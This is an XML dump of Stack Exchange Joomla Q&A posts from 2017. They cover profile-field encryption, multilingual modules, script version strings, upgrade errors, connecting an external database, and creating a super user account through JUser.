  <row Id="21560" PostTypeId="1" AcceptedAnswerId="23888" CreationDate="2017-09-17T13:32:15.317" Score="1" ViewCount="97" Body="&lt;p&gt;I am building a custom profile for a component I am writing. I added a password field that I encrypted with php code. That all worked. I will show my steps below. The weirdness start when in the component I used JUserHelper::getProfile to extract the value, expecting to get the encrypted value that I should decrypt. I was greeted with the already decrypted value.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So my Question is where do getProfile get the key to decrypt the value by itself. (At this point I am questioning the php encryption function if it is so easy to decrypt the field.)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;System Information:&lt;br&gt;&#xA;Ubuntu 16.04 server&lt;br&gt;&#xA;PHP 7.0.14&lt;br&gt;&#xA;Joomla 3.7.3&lt;br&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Steps I took &lt;br&gt;&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;Firstly I followed the steps of &lt;a href=&quot;https://docs.joomla.org/Creating_a_profile_plugin&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://docs.joomla.org/Creating_a_profile_plugin&lt;/a&gt; to create my custom profile plugin.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;I added an password field to the custom profile plugin.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;field&#xA;    name=&quot;password&quot;&#xA;    type=&quot;password&quot;&#xA;    description=&quot;PLG_USER_PROFILE_FIELD_PASSWORD_DESC_SITE&quot;&#xA;    filter=&quot;string&quot;&#xA;    label=&quot;PLG_USER_PROFILE_FIELD_PASSWORD_LABEL&quot;&#xA;    size=&quot;250&quot;&#xA;/&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;In the &quot;onUserAfterSave&quot; I added the following code that I got from the PHP help page &quot;&lt;a href=&quot;https://secure.php.net/openssl_encrypt&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://secure.php.net/openssl_encrypt&lt;/a&gt;&quot; just before the component reinserts the profile values. (Could not find a way to encrypt the value in the &quot;onUserBeforeSave&quot;, but luckily for some or other reason in the &quot;onUserAfterSave&quot; the function drops everything and reinsert the values which give me a change to encrypt the value.)&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;//$key previously generated safely, ie: openssl_random_pseudo_bytes&#xA;$plaintext = $data['customprofile']['password'];&#xA;$ivlen = openssl_cipher_iv_length($cipher=&quot;AES-128-CBC&quot;);&#xA;$iv = openssl_random_pseudo_bytes($ivlen);&#xA;$key = 'My secret key generated from content';&#xA;$ciphertext_raw = openssl_encrypt($plaintext, $cipher, $key, $options=OPENSSL_RAW_DATA, $iv);&#xA;$hmac = hash_hmac('sha256', $ciphertext_raw, $key, $as_binary=true);&#xA;$data['customprofile']['password'] = base64_encode( $iv.$hmac.$ciphertext_raw );&#xA;&lt;/code&gt;&lt;/pre&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Then I needed to decrypt the answer before the profile is displayed, so the unencrypted value is showing in the password field so the user can resave or change it. So I added in the &quot;onContentPrepareData&quot; the decrypt code.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;       if ($k == 'password')&#xA;       {&#xA;           //decrypt later....&#xA;           $c = base64_decode(json_decode($v[1], true));&#xA;           $ivlen = openssl_cipher_iv_length($cipher=&quot;AES-128-CBC&quot;);&#xA;           $iv = substr($c, 0, $ivlen);&#xA;           $hmac = substr($c, $ivlen, $sha2len=32);&#xA;           $ciphertext_raw = substr($c, $ivlen+$sha2len);&#xA;           $key = 'My secret key generated from content';&#xA;           $original_plaintext = openssl_decrypt($ciphertext_raw, $cipher, $key, $options=OPENSSL_RAW_DATA, $iv);&#xA;           $calcmac = hash_hmac('sha256', $ciphertext_raw, $key, $as_binary=true);&#xA;           if (hash_equals($hmac, $calcmac))//PHP 5.6+ timing attack safe comparison&#xA;           {&#xA;               $data-&amp;gt;customprofile[$k] = $original_plaintext;&#xA;           }    &#xA;       }&#xA;       else&#xA;       {&#xA;            $data-&amp;gt;customprofile[$k] = json_decode($v[1], true);&#xA;       }&#xA;&lt;/code&gt;&lt;/pre&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Cool, everything works I got an encrypted value in the database. I even tested if I supplied the wrong key the value is not decrypted above.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Next I go to the component where I needed to extract the password. And what do I find JUserHelper::getProfile is so nice it decrypts the value for me. No decryption code needed. (And this is where I throw my hands in the air and ask what is happening here, then any hacker would be able to decrypt the value no key needed.). See below the code for get profile, and that code is enough for me to use the password.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt; $profileuserId = $joomlauser-&amp;gt;id; &#xA; $userProfile = JUserHelper::getProfile( $profileuserId );&#xA; $passwordvalue = $userProfile-&amp;gt;customprofile['password'];&#xA;&lt;/code&gt;&lt;/pre&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;Can anyone explain why it's so easy to decrypt the value. I wanted to save the password the correct way not in plain text, and now it looks like I am just obscuring the value.&lt;/p&gt;&#xA;" OwnerUserId="11554" LastEditorUserId="11554" LastEditDate="2017-09-17T14:31:03.473" LastActivityDate="2018-12-06T09:26:56.913" Title="Why getProfile is auto decrypting value" Tags="|joomla-3.x|development|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21561" PostTypeId="1" CreationDate="2017-09-17T13:48:49.503" Score="0" ViewCount="39" Body="&lt;p&gt;I am looking for an independent platform, or an &quot;extension&quot; for joomla, that has or allows to develop the following characteristics:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Role 'Student' - This has a personal page where you will be presented with 'topics' for each lesson you had, and within that topic there could be videos, images, text, etc.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Role 'Teacher' - This could 'access' any student's page and create the topics mentioned above, and add to it several types of media, also referred to above.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Role 'Administrator' - That deals with everything that is configuration and maintenance of the platform. From creating new accounts and assigning roles, to modifying the look.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Can you help me?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thank you!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;ps .: I've been seeing the moodle platform, but it's not quite what I want, since in moodle, the teacher adds content and several students have access to it.&#xA;What I want is for the teacher to add independent content to each student.&lt;/p&gt;&#xA;" OwnerUserId="11555" LastActivityDate="2017-10-21T12:52:42.043" Title="Joomla learning extension" Tags="|joomla-3.x|development|plugin|extensions|extension-request|" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="21562" PostTypeId="2" ParentId="21561" CreationDate="2017-09-17T14:19:40.337" Score="1" Body="&lt;p&gt;I don't know if there is an extension with the exact features you want - but certainly, you can &lt;a href=&quot;https://docs.joomla.org/J3.x:Developing_an_MVC_Component&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;strong&gt;develop a custom component&lt;/strong&gt;&lt;/a&gt;. This, of course, requires some experience and knowledge. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;There is also a &lt;a href=&quot;https://www.component-creator.com/&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;strong&gt;component-creator platform&lt;/strong&gt;&lt;/a&gt; that helps developing components faster.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You could also go with &lt;strong&gt;Application Builders/CCKs&lt;/strong&gt;, read here: &lt;strong&gt;&lt;a href=&quot;https://joomla.stackexchange.com/questions/14567/joomlas-extension-for-a-custom-database-application&quot;&gt;Joomla&amp;#39;s extension for a custom database application&lt;/a&gt;&lt;/strong&gt;&lt;/p&gt;&#xA;" OwnerUserId="126" LastActivityDate="2017-09-17T14:19:40.337" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21563" PostTypeId="1" AcceptedAnswerId="21564" CreationDate="2017-09-17T17:53:18.650" Score="3" ViewCount="36" Body="&lt;p&gt;Joomla noob here. I've installed vanilla Joomla 3.5.7. Installed a second language (Russian), made it a default language for the site and for the administrator, published it as a content language.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now my homepage is a weird mix of two languages, see the screen:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/GGE0a.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/GGE0a.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I can see that the in the whole site, the line &quot;Login Form&quot; can only be found in &lt;code&gt;administrator/language/en-GB/en-GB.mod_login.ini&lt;/code&gt;. The file &lt;code&gt;administrator/language/ru-RU/ru-RU.mod_login.ini&lt;/code&gt; also exists, but for some reason, it's not being picked up.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What am I missing?&lt;/p&gt;&#xA;" OwnerUserId="11556" LastActivityDate="2017-09-17T20:40:04.183" Title="Home page a mix of language" Tags="|language|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21564" PostTypeId="2" ParentId="21563" CreationDate="2017-09-17T20:40:04.183" Score="3" Body="&lt;p&gt;This is the title of the Module - that is hand-written and editable. You can write anything you want on it. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you go to the Modules' Manager, you will be able to find this module - click to edit it and you can type anything as the Module's Title. You can even hide the title from showing.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Actually, for multilingual sites, the Joomla!-core approach is to replicate the content items for each language. So, if you have 2 languages, you will need 2 of the same modules - One for English and one for Russian. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;For each language, you will translate anything that is up to you to be translated.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You also set the language for each module, from their Language Selection field and finally, if it applies, you also make the menu items assignments for each one - so it should be assigned to menu items of its language.&lt;/p&gt;&#xA;" OwnerUserId="126" LastActivityDate="2017-09-17T20:40:04.183" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21566" PostTypeId="2" ParentId="21072" CreationDate="2017-09-18T16:09:00.247" Score="1" Body="&lt;p&gt;replace the form output with this code:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;&amp;lt;?php if ($field-&amp;gt;type !== 'Captcha') : ?&amp;gt;&#xA;    &amp;lt;div class=&quot;form-group&quot;&amp;gt;&#xA;        &amp;lt;?php echo $field-&amp;gt;label; ?&amp;gt;&#xA;        &amp;lt;div class=&quot;controls&quot;&amp;gt;&#xA;            &amp;lt;?php echo $field-&amp;gt;input; ?&amp;gt;&#xA;        &amp;lt;/div&amp;gt;&#xA;    &amp;lt;/div&amp;gt;&#xA;&amp;lt;?php else :&#xA;    $captcha = '&#xA;    &amp;lt;div class=&quot;form-group&quot;&amp;gt;&#xA;          ' . $field-&amp;gt;label . '&#xA;          &amp;lt;div class=&quot;controls&quot;&amp;gt;&#xA;              ' . $field-&amp;gt;input . '&#xA;          &amp;lt;/div&amp;gt;&#xA;    &amp;lt;/div&amp;gt;&#xA;';&#xA;endif; ?&amp;gt;&#xA;&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;and, just before the submit, put &lt;code&gt;&amp;lt;?php echo $captcha; ?&amp;gt;&lt;/code&gt;.&lt;/p&gt;&#xA;" OwnerUserId="11035" LastEditorUserId="11035" LastEditDate="2017-09-18T16:14:23.857" LastActivityDate="2017-09-18T16:14:23.857" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21567" PostTypeId="2" ParentId="5738" CreationDate="2017-09-19T01:35:35.823" Score="0" Body="&lt;p&gt;Purging the Joomla cache always seemed to fix this problem for me until today when I also had to purge the cache at Extensions -&gt; Extension Manager -&gt; Update.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Once the update cache was cleared, the Joomla update from 2.5.28 to 3.5.1 was then offered.&lt;/p&gt;&#xA;" OwnerUserId="120" LastActivityDate="2017-09-19T01:35:35.823" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21568" PostTypeId="1" AcceptedAnswerId="21570" CreationDate="2017-09-19T07:59:06.910" Score="2" ViewCount="115" Body="&lt;p&gt;I have some js files which have temporary string at the end, the problem is that jQuery is already loaded before so it cause issues.&lt;/p&gt;&#xA;&#xA;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;script src=&quot;www.example.com/media/system/js/core.js?c053e5a315af285403fcc2192089780b&quot; type=&quot;text/javascript&quot;&amp;gt;&amp;lt;/script&amp;gt;&#xA;&amp;lt;!--[if lt IE 9]&amp;gt;&amp;lt;script src=&quot;www.example.com/media/system/js/polyfill.event.js?c053e5a315af285403fcc2192089780b&quot; type=&quot;text/javascript&quot;&amp;gt;&amp;lt;/script&amp;gt;&amp;lt;![endif]--&amp;gt;&#xA;&amp;lt;script src=&quot;www.example.com/media/system/js/keepalive.js?c053e5a315af285403fcc2192089780b&quot; type=&quot;text/javascript&quot;&amp;gt;&amp;lt;/script&amp;gt;&#xA;&amp;lt;script src=&quot;www.example.com/media/jui/js/jquery.min.js?c053e5a315af285403fcc2192089780b&quot; type=&quot;text/javascript&quot;&amp;gt;&amp;lt;/script&amp;gt;&#xA;&amp;lt;script src=&quot;www.example.com/media/jui/js/jquery-noconflict.js?c053e5a315af285403fcc2192089780b&quot; type=&quot;text/javascript&quot;&amp;gt;&amp;lt;/script&amp;gt;&#xA;&amp;lt;script src=&quot;www.example.com/media/jui/js/jquery-migrate.min.js?c053e5a315af285403fcc2192089780b&quot; type=&quot;text/javascript&quot;&amp;gt;&amp;lt;/script&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;My template have rules to remove the jquery loaded above, but it can't work :&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;// Rules to remove predefined jQuery and Bootstrap and MooTools More&#xA;GKParser::$customRules['/&amp;lt;script src=&quot;(.*?)media\/jui\/js\/jquery.min.js&quot; type=&quot;text\/javascript&quot;&amp;gt;&amp;lt;\/script&amp;gt;/mi'] = '';&#xA;GKParser::$customRules['/&amp;lt;script src=&quot;(.*?)media\/jui\/js\/jquery-noconflict.js&quot; type=&quot;text\/javascript&quot;&amp;gt;&amp;lt;\/script&amp;gt;/mi'] = '';&#xA;GKParser::$customRules['/&amp;lt;script src=&quot;(.*?)media\/jui\/js\/bootstrap.min.js&quot; type=&quot;text\/javascript&quot;&amp;gt;&amp;lt;\/script&amp;gt;/mi'] = '';&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;What thing can add this string at the end of some js files ?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks by advance&lt;/p&gt;&#xA;" OwnerUserId="1819" LastEditorUserId="7867" LastEditDate="2017-09-19T08:04:55.763" LastActivityDate="2017-09-19T15:27:10.857" Title="Some js files have temporary string at the end" Tags="|joomla-3.x|jquery|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21569" PostTypeId="2" ParentId="21568" CreationDate="2017-09-19T08:04:16.683" Score="0" Body="&lt;p&gt;Most likely a plugin would do that, such as JCH Optimize. The strings are added at the end to ensure that the browsers always grab a fresh version of these files (and not use a cached version). Check JCH Optimize (and any other JS/CSS compression/optimization extension installed that you have) on how to disable that.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Additionally, some templates may also do the same thing, also check your template settings.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you're still not sure what's causing it, then do the following:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Switch to a different template and see if the problem is no more. If the problem disappears, then the problem is in your template.&lt;/li&gt;&#xA;&lt;li&gt;Disable your plugins one by one (starting with the one with the highest ID) until the problem is no more.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="7867" LastActivityDate="2017-09-19T08:04:16.683" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="21570" PostTypeId="2" ParentId="21568" CreationDate="2017-09-19T15:27:10.857" Score="2" Body="&lt;p&gt;The strings are added by Joomla: &lt;a href=&quot;https://api.joomla.org/cms-3/classes/JDocument.html#method_addScriptVersion&quot; rel=&quot;nofollow noreferrer&quot;&gt;method_addScriptVersion&lt;/a&gt;.&#xA;You may find this plugin usefull to remove scribts etc.: &lt;a href=&quot;https://joomla-extensions.kubik-rubik.de/downloads/jcc-js-css-control/joomla-3&quot; rel=&quot;nofollow noreferrer&quot;&gt;kubik-rubik, jcc-js-css-control&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="11540" LastActivityDate="2017-09-19T15:27:10.857" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="21572" PostTypeId="1" CreationDate="2017-09-19T20:14:13.310" Score="1" ViewCount="3524" Body="&lt;p&gt;today updated Joomla 3.7.5 on 3.8.0 &amp;amp; I have error:&#xA;&quot;Error displaying the error page: Call to undefined method JAdminCssMenu::addChild(): Call to undefined method JAdminCssMenu::addChild()&quot;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Joomla admin panel doesn't work with sections. Can you help me please. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks a lot.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Best regards,&#xA;Alex K.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Problem solved. Please, your folders (backup) on local disk (for example: C or D or E disk) upload folders on your FTP. And your admin panel again work last Joomla ver. 3.7.x&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/73c7z.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/73c7z.jpg&quot; alt=&quot;Upload on FTP&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Alex K&lt;/p&gt;&#xA;" OwnerUserId="11564" LastEditorUserId="11564" LastEditDate="2017-09-19T22:32:44.933" LastActivityDate="2017-09-29T20:13:12.970" Title="Error displaying the error page: Call to undefined method JAdminCssMenu::addChild()" Tags="|update|administration|joomla-3.7|fatal-error|" AnswerCount="1" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="21581" PostTypeId="2" ParentId="21572" CreationDate="2017-09-20T11:51:20.473" Score="1" Body="&lt;p&gt;This is a known issue but isn't related to Joomla.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Other people have also ran into the same error, and it's due to &lt;strong&gt;SP Page Builder Pro&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;More information can be found on it here: &lt;a href=&quot;https://www.joomshaper.com/forums/joomla-3-8&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://www.joomshaper.com/forums/joomla-3-8&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Solution: Update &lt;strong&gt;SP Page Builder Pro&lt;/strong&gt; to &lt;strong&gt;2.5.3&lt;/strong&gt;&lt;/p&gt;&#xA;" OwnerUserId="168" LastActivityDate="2017-09-20T11:51:20.473" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21583" PostTypeId="1" CreationDate="2017-09-21T06:31:41.350" Score="3" ViewCount="1798" Body="&lt;p&gt;I have two Joomla sites with different databases. I want to share all data from one site to another site. For example, when I register a user in one website then it's updated on the second site's database too.&lt;/p&gt;&#xA;&lt;p&gt;I have this code to connect the external database, but I am new to Joomla so don't know how to implement it.&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;$db = JFactory::getDbo();&#xA;&#xA;$option = array(); //prevent problems&#xA;&#xA;$option['driver']   = 'mysql';            // Database driver name&#xA;$option['host']     = 'db.myhost.com';    // Database host name&#xA;$option['user']     = 'fredbloggs';       // User for database authentication&#xA;$option['password'] = 's9(39s£h[%dkFd';   // Password for database authentication&#xA;$option['database'] = 'bigdatabase';      // Database name&#xA;$option['prefix']   = 'abc_';             // Database prefix (may be empty)&#xA;&#xA;$db = JDatabaseDriver::getInstance( $option );&#xA;?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="11573" LastEditorUserId="12352" LastEditDate="2021-04-24T20:59:45.010" LastActivityDate="2023-03-28T14:27:00.517" Title="Connect two databases with one Joomla site" Tags="|joomla-3.x|php|extensions|database|multi-sites|" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="21585" PostTypeId="2" ParentId="21583" CreationDate="2017-09-21T07:49:16.853" Score="2" Body="&lt;p&gt;&lt;strong&gt;EDIT 2:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I think this is not the explanation wanted for the user, but it's possible he needs to populate the information of his master website with a plugin system to the two databases.&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;If you are going to implement the code by using overrides and custom components, you just have to use, for example, this simple guide to obtain information from the other database:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://docs.joomla.org/Selecting_data_using_JDatabase&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://docs.joomla.org/Selecting_data_using_JDatabase&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;EDIT:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;More specifically, you have to create two objects, one for the local connection, and another one to the external connection.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$db = JFactory::getDbo();&#xA;$extDb = JDatabaseDriver::getInstance( $option );&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;And use the same query you create for the two objects:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$query = &quot;UPDATE #__anytable SET column1 = value1&quot;;&#xA;$db-&amp;gt;setQuery($query); $db-&amp;gt;execute();&#xA;$extDb-&amp;gt;setQuery($query); $extDb-&amp;gt;execute();&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;PD: Don't post the credentials like user and password on the internet.&lt;/p&gt;&#xA;" OwnerUserId="11575" LastEditorUserId="11575" LastEditDate="2017-09-21T08:55:46.207" LastActivityDate="2017-09-21T08:55:46.207" CommentCount="8" ContentLicense="CC BY-SA 3.0" />
  <row Id="21586" PostTypeId="1" CreationDate="2017-09-21T10:53:44.947" Score="1" ViewCount="378" Body="&lt;p&gt;I have moved a website running joomla from my old VPS to my own server.  The server is working fine, other sites are loading.  However, this joomla site doesn't load.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Please can someone explain what php debugging code that I need to put in the index.php file so that I can get some feedback as to why it's falling over.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks in advance&#xA;Vince.&lt;/p&gt;&#xA;" OwnerUserId="11577" LastEditorUserId="126" LastEditDate="2017-11-22T18:30:10.857" LastActivityDate="2017-11-22T18:32:10.733" Title="How to debug a 500 can't load error?" Tags="|joomla-3.x|php|mysql|debug|error-reporting|" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="21587" PostTypeId="2" ParentId="21583" CreationDate="2017-09-21T11:45:45.917" Score="2" Body="&lt;p&gt;There is already a simple solution that exists to achieve your aims.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you install the &lt;a href=&quot;http://fabrikar.com/&quot; rel=&quot;nofollow noreferrer&quot;&gt;Fabrik extension&lt;/a&gt; you can then add a new database connection within the component admin settings.&#xA;Using Fabrik you can then display and update fields and data from different databases within the same forms.&lt;/p&gt;&#xA;" OwnerUserId="8935" LastActivityDate="2017-09-21T11:45:45.917" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="21588" PostTypeId="2" ParentId="21561" CreationDate="2017-09-21T11:58:40.530" Score="1" Body="&lt;p&gt;In Moodle the teacher can add content so that just one student has access to it. So Moodle can do what you want but you need to learn how to administer courses. I recommend you go through the &lt;a href=&quot;https://www.youtube.com/watch?v=EBFilrURy2Y&amp;amp;index=28&amp;amp;list=PLxcO_MFWQBDdYwQYp5VBtOWn9xDTJV6kZ&quot; rel=&quot;nofollow noreferrer&quot;&gt;Learn Moodle MOOC&lt;/a&gt; videos on YouTube.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There are 2 great solutions for you and they are [iGuru] which is well developed and very easy to use and [OSCampus from Joomlashack] which is also very easy to use.&lt;/p&gt;&#xA;" OwnerUserId="8935" LastActivityDate="2017-09-21T11:58:40.530" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21589" PostTypeId="1" CreationDate="2017-09-21T12:23:30.067" Score="3" ViewCount="562" Body="&lt;p&gt;I am using subform form field type inside my plugin parameters (I am reusing a form in several places of my plugin parameters, with success).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What I really need to manage is to use each subform inside a modal window. I need to shorten the parameters list, making it more user-friendly.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is it possible?&lt;/p&gt;&#xA;" OwnerUserId="2087" LastEditorUserId="2087" LastEditDate="2017-09-23T14:49:26.060" LastActivityDate="2019-01-18T16:02:45.550" Title="Subform inside modal" Tags="|joomla-3.x|development|plugin|modal|subform|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21590" PostTypeId="2" ParentId="17672" CreationDate="2017-09-21T14:15:40.437" Score="1" Body="&lt;p&gt;Sounds like your problem is too many SQL connections, combined with CPU overload. Here's what I did for a site that gets 25,000 hits a day that I host:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;If you have a dedicated or VPS, increase number of SQL connections to 150. Most servers have them set to 100. Contact your host support and have them go through your Tweak Settings in WHM. If you need good hosting, I use InMotion Dedicated. Very happy with them.&lt;/li&gt;&#xA;&lt;li&gt;Avoid lots of Admins logged on at the same time. We found out that Joomla opens as many as 10 'sleeping' SQL connections per login, 4 Admins at the same time, you only have 10-20 left for visitors.&lt;/li&gt;&#xA;&lt;li&gt;Use a CDN. Let me say that again - use a CDN!&lt;/li&gt;&#xA;&lt;li&gt;Enable Conservative Caching. Progressive Caching is not recommended for high traffic Joomla sites.&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Upgrade the server to more CPU cores and more RAM, if possible.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Install Admin Tools from Akeeba, it detects and blocks hackers and spammers, reducing overall traffic.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;Some common sense items here too, like use small/optimized images, try to use GZIP in your template if supported, disable all Javascripts you don't need. Also, use a program like &lt;a href=&quot;https://gtmetrix.com/&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://gtmetrix.com/&lt;/a&gt; to analyze the site and let you know if there are any issues that would increased load time.&lt;/p&gt;&#xA;" OwnerUserId="11578" LastActivityDate="2017-09-21T14:15:40.437" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21593" PostTypeId="1" AcceptedAnswerId="21596" CreationDate="2017-09-22T09:13:38.203" Score="1" ViewCount="248" Body="&lt;p&gt;I am trying to create a new SuperAdmin via JUser:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;    $user = new \JUser(0);&#xA;    $user-&amp;gt;set('password',\JUserHelper::hashPassword($password));&#xA;    $user-&amp;gt;set('username','administrator');&#xA;    $user-&amp;gt;set('groups',array(8));&#xA;    $user-&amp;gt;groups = array(8);&#xA;    $user-&amp;gt;save();&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Is this the right way? Or should i try another way?&lt;/p&gt;&#xA;" OwnerUserId="11583" LastActivityDate="2017-09-23T00:03:42.147" Title="How to create a SuperAdmin via JUser?" Tags="|user|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="21596" PostTypeId="2" ParentId="21593" CreationDate="2017-09-23T00:03:42.147" Score="2" Body="&lt;p&gt;You forgot the email but apart from that it'd probably work. You shouldn't set the groups property directly, the setter right above it is fine. Also I would suggest using the getInstance method of juser rather than newing up manually. Also you should catch errors in case there's a duplicate email or something. There is also a chance that the usergroups have been messed with, eg if this was for a distributed component, but if you know the superuser is still id 8 then it's fine.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$user = \JUser::getInstance();&#xA;$user-&amp;gt;set('id',0);&#xA;$user-&amp;gt;set('password',\JUserHelper::hashPassword($password));&#xA;$user-&amp;gt;set('username',$username);&#xA;$user-&amp;gt;set('email', $email);&#xA;$user-&amp;gt;set('usertype', 'deprecated');&#xA;$user-&amp;gt;set('groups',array(8));&#xA;if (!$user-&amp;gt;save()) {&#xA;    $error = $user-&amp;gt;getError();&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Here is the API reference for anyone reading this:&#xA;&lt;a href=&quot;https://api.joomla.org/cms-3/classes/JUser.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://api.joomla.org/cms-3/classes/JUser.html&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="7374" LastActivityDate="2017-09-23T00:03:42.147" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
